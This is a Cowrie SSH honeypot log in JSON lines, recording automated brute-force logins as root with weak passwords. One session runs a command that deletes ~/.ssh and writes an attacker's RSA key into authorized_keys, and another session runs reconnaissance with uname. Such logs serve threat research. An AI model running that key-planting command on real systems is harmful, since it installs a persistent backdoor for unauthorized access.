{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:55.969175Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.163.255.210","src_port":4680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ff14da8c95c","protocol":"ssh","message":"New connection: 124.163.255.210:4680 (10.17.0.5:22) [session: 4ff14da8c95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.081861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.086500Z","src_ip":"124.163.255.210","session":"4ff14da8c95c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"delay","message":"login attempt [root/delay] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.273247Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.318863Z","src_ip":"124.163.255.210","session":"4ff14da8c95c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.464600Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.468479Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.472313Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.585417Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.783918Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.787318Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.875019Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.878999Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.178.114.78","src_port":49734,"dst_ip":"10.17.0.5","dst_port":22,"session":"21c034aba6c9","protocol":"ssh","message":"New connection: 51.178.114.78:49734 (10.17.0.5:22) [session: 21c034aba6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.948099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:56.952105Z","src_ip":"51.178.114.78","session":"21c034aba6c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:57.034278Z","src_ip":"51.178.114.78","session":"21c034aba6c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:57.276959Z","src_ip":"124.163.255.210","session":"4ff14da8c95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:57.377315Z","src_ip":"51.178.114.78","session":"21c034aba6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57158,"dst_ip":"159.203.135.109","dst_port":22,"session":"1666bf9da4d2","protocol":"ssh","message":"New connection: 101.44.96.62:57158 (159.203.135.109:22) [session: 1666bf9da4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:57.479463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:57.581395Z","src_ip":"101.44.96.62","session":"1666bf9da4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:57.799001Z","src_ip":"101.44.96.62","session":"1666bf9da4d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Pa$$w0rd","message":"login attempt [root/Pa$$w0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:58.452725Z","src_ip":"101.44.96.62","session":"1666bf9da4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:58.461397Z","src_ip":"51.178.114.78","session":"21c034aba6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.178.114.78","src_port":49740,"dst_ip":"10.17.0.5","dst_port":22,"session":"093594952978","protocol":"ssh","message":"New connection: 51.178.114.78:49740 (10.17.0.5:22) [session: 093594952978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:58.533004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:58.540052Z","src_ip":"51.178.114.78","session":"093594952978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:58.613830Z","src_ip":"51.178.114.78","session":"093594952978","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:58.929819Z","src_ip":"101.44.96.62","session":"1666bf9da4d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:58.933980Z","src_ip":"101.44.96.62","session":"1666bf9da4d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:58.941902Z","src_ip":"51.178.114.78","session":"093594952978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:59.022791Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:59.027133Z","src_ip":"51.178.114.78","session":"093594952978","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:59.156962Z","src_ip":"101.44.96.62","session":"1666bf9da4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:59.162384Z","src_ip":"101.44.96.62","session":"1666bf9da4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":34612,"dst_ip":"159.203.135.109","dst_port":22,"session":"d52f989a2d30","protocol":"ssh","message":"New connection: 101.44.96.62:34612 (159.203.135.109:22) [session: d52f989a2d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:11.004878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:11.010019Z","src_ip":"101.44.96.62","session":"d52f989a2d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:11.224893Z","src_ip":"101.44.96.62","session":"d52f989a2d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:11.871371Z","src_ip":"101.44.96.62","session":"d52f989a2d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:13.088838Z","src_ip":"101.44.96.62","session":"d52f989a2d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":44254,"dst_ip":"10.17.0.5","dst_port":22,"session":"996fc2164819","protocol":"ssh","message":"New connection: 2.57.122.238:44254 (10.17.0.5:22) [session: 996fc2164819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:24.417505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:24.421696Z","src_ip":"2.57.122.238","session":"996fc2164819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:24.520822Z","src_ip":"2.57.122.238","session":"996fc2164819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57690,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad07822d6bd7","protocol":"ssh","message":"New connection: 101.44.96.62:57690 (159.203.135.109:22) [session: ad07822d6bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:24.596683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:29:24.600952Z","src_ip":"101.44.96.62","session":"ad07822d6bd7","protocol":"ssh"}
